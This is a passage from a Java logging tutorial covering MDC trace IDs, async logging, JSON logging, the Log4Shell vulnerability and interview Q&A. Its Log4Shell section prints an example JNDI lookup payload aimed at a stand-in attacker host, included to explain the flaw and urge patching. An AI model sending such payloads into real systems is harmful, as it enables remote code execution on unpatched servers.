            MDC.clear(); // CRITICAL: clear so the traceId doesn't leak into the next request on this thread
        }
    }
}

Now, with %X{traceId} in the log pattern, this value prints on every line. Just filter your log tool (Kibana/Grafana Loki) by that traceId and the whole story of that request opens up in front of you.

MDC leaking in thread pools is a classic hidden bug

Servers take a thread from a pool and, after the request, reuse the same thread for the next one. Because MDC is bound to the thread, if you don't clear it after each request, the next request inherits the previous traceId and your logs lie. Always use MDC.clear() in a finally block. (In Spring Boot this filter is usually provided for you, but you must understand the mechanics.)

MDC is not automatically propagated across threads

If you hand work off to another thread inside a request (e.g. executor.submit(...) or @Async), that new thread does not inherit the MDC because MDC is thread-local. You must copy it manually:

Map<String, String> parentContext = MDC.getCopyOfContextMap();
executor.submit(() -> {
    if (parentContext != null) MDC.setContextMap(parentContext);
    try {
        log.info("processing in worker thread"); // now it carries the traceId
    } finally {
        MDC.clear();
    }
});

In the Log4j2 world, the MDC equivalent is called ThreadContext (which has both a map and a stack called NDC).


Part 7 — Async logging: speed without stalling

Writing a log to a file or the network is an I/O operation, and I/O is slow. Here's the problem: by default, when your code calls log.info(...), the thread waits until the log is fully written to disk (synchronous). In a high-traffic service, that wait can raise latency.

A restaurant with a waiter vs an order counter

Picture two models. The synchronous model: the cook personally carries the food to the table, waits for the customer to say thanks, then returns to the kitchen. Until they return, no next dish gets cooked. The asynchronous model: the cook puts the food on an order counter (a queue) and immediately moves to the next dish; a separate waiter picks food off the counter and delivers it. Async logging is that counter: the main thread drops the log into a queue and immediately returns to work; a background thread writes it to disk.

Two approaches

1) AsyncAppender in Logback — an appender that sits in front of other appenders and uses a BlockingQueue:

<appender name="ASYNC" class="ch.qos.logback.classic.AsyncAppender">
    <queueSize>512</queueSize>            <!-- queue capacity -->
    <discardingThreshold>0</discardingThreshold>  <!-- 0 = never drop any message -->
    <neverBlock>false</neverBlock>        <!-- true = if the queue is full, don't block, drop instead -->
    <appender-ref ref="FILE"/>
</appender>
AsyncAppender's default trap: it silently drops logs

By default, once the queue reaches 80% of capacity, Logback — to avoid blocking — drops TRACE, DEBUG, and INFO messages and keeps only WARN and ERROR (this is controlled by discardingThreshold). So under heavy load you may lose logs without realizing it. If no message should ever be lost, set discardingThreshold to 0 — but know that then, under very heavy load, the thread may block.

2) Async Logger in Log4j2 with LMAX Disruptor — this is Log4j2's main strength. Instead of an ordinary lock-based queue, it uses the LMAX Disruptor: a lock-free ring buffer data structure designed for the lowest-latency inter-thread communication. The result is far higher throughput and lower latency than AsyncAppender.

To enable it fully, you set this system property so all loggers become async:

-Dlog4j2.contextSelector=org.apache.logging.log4j.core.async.AsyncLoggerContextSelector

Or in config, you make only specific loggers async:

<Loggers>
    <AsyncLogger name="com.example" level="debug"/>
    <Root level="info">
        <AppenderRef ref="Console"/>
    </Root>
</Loggers>

Recent Log4j2 versions support LMAX Disruptor 4.x (and, for JRE 8 compatibility, keep 3.x), and have made the default wait strategy garbage-free to minimize GC pressure.

Async logging isn't free

Async logging takes latency off the main path, but it has two costs: (1) if the app crashes suddenly, logs still sitting in the queue/buffer may be lost — precisely at the moment you need them most. (2) Exact ordering and write guarantees get more complicated. For critical audit logs where none may be lost, synchronous logging or safe-flush guarantees are safer.


Part 8 — Structured (JSON) logging: for the machine, not just the human

Traditional text logs are fine for the human eye, but when you produce terabytes of logs a day and want to search, filter, and alert on them, you need something a machine can read unambiguously. The solution: structured logging as JSON.

Instead of this:

14:03:22.145 [http-1] INFO  OrderService abc-123 - Placing order 5567 amount 249.90

produce this:

{"@timestamp":"2026-07-20T14:03:22.145Z","level":"INFO","logger":"OrderService",
 "thread":"http-1","traceId":"abc-123","message":"Placing order",
 "orderId":5567,"amount":249.90}

Now systems like Elasticsearch/Kibana or Grafana Loki can query directly on the orderId or amount field, with no brittle text regex.

In Logback, this is easy with the popular logstash-logback-encoder library:

<appender name="JSON" class="ch.qos.logback.core.ConsoleAppender">
    <encoder class="net.logstash.logback.encoder.LogstashEncoder"/>
</appender>

And to add custom fields, MDC entries or SLF4J 2.0's fluent addKeyValue map directly to JSON fields. In Log4j2 the equivalent is JsonTemplateLayout.

Why JSON became the cloud standard

In containerized and Kubernetes environments, logs are gathered from dozens of services into one central store. Free-form text logs must be parsed with brittle regexes. JSON logs are structured up front: each field has a name and type. That means fast search, precise dashboards, and reliable alerting. For any serious service running in production, JSON logging has effectively become the default.


Part 9 — The Log4Shell lesson: when a logging feature shook the world

CVE-2021-44228 — Log4Shell

In December 2021, one of the most dangerous vulnerabilities in software history was found in Log4j2; named Log4Shell, tracked as CVE-2021-44228, with the maximum severity score (CVSS 10.0). It affected log4j-core versions 2.0-beta9 through 2.14.1 and allowed remote code execution (RCE).

What happened? Log4j2 had a feature called lookup: if it saw a string like ${...} inside a log message, it would "interpret" and substitute it. One of these lookups was ${jndi:...}, which through JNDI (Java Naming and Directory Interface) could connect to a remote server and load and execute an object from it.

Now see the disaster. Imagine you have this seemingly innocent line:

// username comes from a request header — meaning the attacker controls it
log.info("Received login attempt from user: {}", username);

If the attacker sets username to this:

${jndi:ldap://attacker.com/exploit}

then a vulnerable Log4j2 would interpret this text as a lookup, connect to the attacker's server, download a malicious class, and execute it. So an attacker could run arbitrary code on your server just by filling in a login form field or a User-Agent. Because almost every Java system used Log4j and user input was logged almost everywhere, this bug became a global nightmare within hours.

The chain of patches (a lesson in hasty fixes)

  • 2.15.0: disabled message lookups by default and restricted JNDI — but it was insufficient (CVE-2021-45046).
  • 2.16.0: completely removed message lookups and disabled JNDI by default.
  • 2.17.0: closed another DoS vulnerability (CVE-2021-45105).
  • 2.17.1: closed the last hole in the family (CVE-2021-44832, RCE via a malicious JDBC Appender config).
Minimum safe version: `2.17.1` or above

If you have Log4j2 on any project, you must be at least on 2.17.1; better to be on the current 2.24.x line. A subtle point: Logback was not affected by this vulnerability because it had no JNDI-lookup feature in messages at all.

Three lasting lessons from Log4Shell
  1. Never treat user input as something "interpretable." The root of the disaster was that user data could turn into a command. This is the same principle behind SQL injection and XSS.
  2. Take the supply chain seriously. Most organizations had no idea how deep in their dependencies Log4j was hiding. Tools like SBOM and dependency scanning gained importance from exactly here.
  3. Least functionality. The JNDI-lookup-in-logs feature was practically never needed; it only opened the attack surface. The fewer the features and the safer the defaults, the better.

Part 10 — Performance and practical wrap-up

A few practical principles an experienced engineer follows:

  • Always use parameterized logging ({}) instead of string concatenation.
  • Choose the right level: keep DEBUG off in production; excessive logging hurts both performance and readability.
  • For hot loops where building arguments is expensive, guard with if (log.isDebugEnabled()) (though parameterized logging usually makes this unnecessary).
  • Consider async logging for high throughput, but be aware of the possible cost of losing logs on a crash.
  • Make JSON logging + trace ID the default for any system that's serious about production.
  • Never log sensitive data (passwords, tokens, card numbers, personal info) — logs are usually long-lived, widely accessible, and leak easily.

Comparison table: Logback vs Log4j2

Feature Logback Log4j2
Binding to SLF4J native (no bridge) needs log4j-slf4j2-impl
Current line 1.5.x 2.24.x
Formatting term Encoder Layout
Async logging AsyncAppender (BlockingQueue) Async Logger with LMAX Disruptor (lock-free)
Async performance good excellent (higher throughput)
MDC equivalent MDC ThreadContext (map + NDC)
Log4Shell exposure not affected affected (up to 2.14.1)
Spring Boot default yes no (but easily swappable)
In a nutshell
  • Logging means controlled printing: time, level, destination, and format — not just println.
  • SLF4J is a facade (just a contract), and Logback/Log4j2 are implementations (the real engine). Code against the facade so the engine stays swappable.
  • The classpath must have exactly one engine; beware opposing bridges (infinite loop).
  • Parameterized logging with {} builds the string only when the level is on — faster and cleaner. A Throwable last argument prints the full stack trace.
  • Levels (TRACEERROR) are a threshold: each logger prints its own level and everything above it.
  • Appender is the destination, Encoder/Layout is the output shape; file rotation is not optional.
  • MDC + correlation ID traces one request through interleaved logs; always clear it in finally so it doesn't leak in thread pools.
  • Async logging cuts latency; Log4j2 leads here with the LMAX Disruptor, but accept the risk of losing logs on a crash.
  • JSON logging makes logs machine-readable and is the cloud standard.
  • Log4Shell taught us: never "interpret" user data, take the supply chain seriously, and stay on 2.17.1+ (better: 2.24.x).

Part 11 — Interview Q&A

1. What's the difference between SLF4J and Logback/Log4j2?

SLF4J is a facade — just a set of interfaces with no real log-writing logic. Logback and Log4j2 are implementations that actually format the log and write it to a destination. Application code codes against SLF4J only, and the real engine is bound at runtime via a provider. The benefit is you can swap the engine without changing a single line of your code; that's why libraries always code against SLF4J, not a specific engine.

2. Why is `log.debug("x=" + x)` bad but `log.debug("x={}", x)` good?

In the first case, Java builds the string and calls toString() before the method is invoked — even if the DEBUG level is off; that's wasted work and GC pressure. In the second (parameterized) case, string construction is deferred and happens only when the level is on. Beyond performance, the constant message stays separate from the data, which is also better for searching and grouping logs.

3. If you want to log an error, how do you pass the `Throwable`?

Pass the exception object as the last argument (with no {} for it); SLF4J detects it and prints the full stack trace: log.error("Payment failed for order {}", id, e). The common mistake is logging only e.getMessage(), which throws away the stack trace and loses the error's trail.

4. What is MDC and what problem does it solve?

MDC (Mapped Diagnostic Context) is a thread-local key-value map. Anything you put in it can automatically be printed on every log line that thread writes (via %X{key}). Its main use is putting a correlation/trace ID at the start of a request so you can filter and reconstruct exactly the lines of one request out of the interleaved logs of hundreds of concurrent requests. Crucial note: because it's bound to the thread and threads are reused in pools, you must clear it with MDC.clear() in a finally block so it doesn't leak into the next request.

5. If you hand a request's work to another thread, does MDC propagate?

No. Because MDC is thread-local, the new thread doesn't inherit it. You must manually copy it with MDC.getCopyOfContextMap() on the parent thread and set it with MDC.setContextMap(...) on the child (and clear it at the end). This is one of the common causes of a "lost traceId" in async and @Async code.

6. What's the difference between Logback's `AsyncAppender` and Log4j2's Async Logger?

AsyncAppender uses an ordinary lock-based BlockingQueue and, by default, drops low-level messages (INFO and below) once the queue is 80% full. Log4j2's Async Logger uses the LMAX Disruptor: a lock-free ring buffer that gives far higher throughput and lower latency. For heavy loads, Log4j2's approach is usually more efficient.

7. What exactly was Log4Shell and how did it work?

Log4Shell is CVE-2021-44228; a severity-10 RCE vulnerability in Log4j2 (versions 2.0-beta9 through 2.14.1). Its root was the lookup feature: Log4j2 interpreted ${...} strings inside a log message, including ${jndi:ldap://...}. If attacker-controlled input (e.g. an HTTP header) was logged and contained such a string, Log4j would connect to the attacker's server and download and execute a malicious class. Logback was not affected because it had no such feature.

8. What's the minimum safe Log4j2 version and why were several patches needed?

The minimum fully safe version is 2.17.1. Several patches were needed because the early fixes were incomplete: 2.15.0 restricted lookups but wasn't enough, 2.16.0 fully removed message lookups and disabled JNDI by default, 2.17.0 closed a DoS, and 2.17.1 closed the last hole (RCE via the JDBC Appender, CVE-2021-44832). The broad lesson: a hasty, incomplete fix can give a false sense of security.

9. Name the log levels and explain what setting the level to INFO means.

From low to high: TRACE < DEBUG < INFO < WARN < ERROR. When you set a logger's level to INFO, that level and everything above it (WARN and ERROR) print, while DEBUG and TRACE are filtered out. This is the mechanism that lets you be verbose in development and keep only the important stuff in production without code changes — just by changing config.

10. What's the difference between an Appender and an Encoder/Layout?

An Appender is the log's destination: console, file, network, and so on. An Encoder (in Logback) or Layout (in Log4j2) is responsible for the output's shape: which fields, in what order and format, as text or JSON. A logger can have multiple appenders, and each appender has its own encoder/layout. Separating the two means you can write the same log to the console in one format and to a file in another simultaneously.

11. What advantage does JSON logging have over text logging?

JSON logging is machine-readable: each field has a name and type, so log-aggregation tools (Elasticsearch/Kibana, Loki) can query, filter, and alert directly on fields, with no brittle text regexes. In cloud and Kubernetes environments where logs from dozens of services are aggregated, it has effectively become the standard. It's implemented with logstash-logback-encoder in Logback and JsonTemplateLayout in Log4j2.

12. What data should you never log, and why?

Sensitive data: passwords, authentication tokens, bank card numbers, personally identifiable information (PII), and cryptographic keys. Why: logs are typically kept for a long time, copied across multiple systems, and accessible to many people (developers, support, monitoring tools); so they're an easy leak point. Beyond the security risk, logging PII can violate regulations like GDPR.

13. How do you ensure only one logging engine is on the classpath, and why does it matter?

You inspect the dependency tree with mvn dependency:tree or gradle dependencies. It matters because SLF4J needs exactly one provider: with none, logs vanish silently (no-op); with several, SLF4J warns about multiple bindings and picks one arbitrarily. More dangerously, if two opposing bridges (e.g. log4j-to-slf4j and log4j-slf4j2-impl) are present together, you get an infinite loop and a StackOverflowError.

14. What's the risk of async logging and when should you not use it?

Async logging puts logs in a buffer/queue and writes them later; so if the app crashes suddenly, logs not yet written are lost — precisely when you need them most to diagnose the crash. For critical audit logs or anywhere a write guarantee for every message is required, synchronous logging or at least safe flushing is the better choice.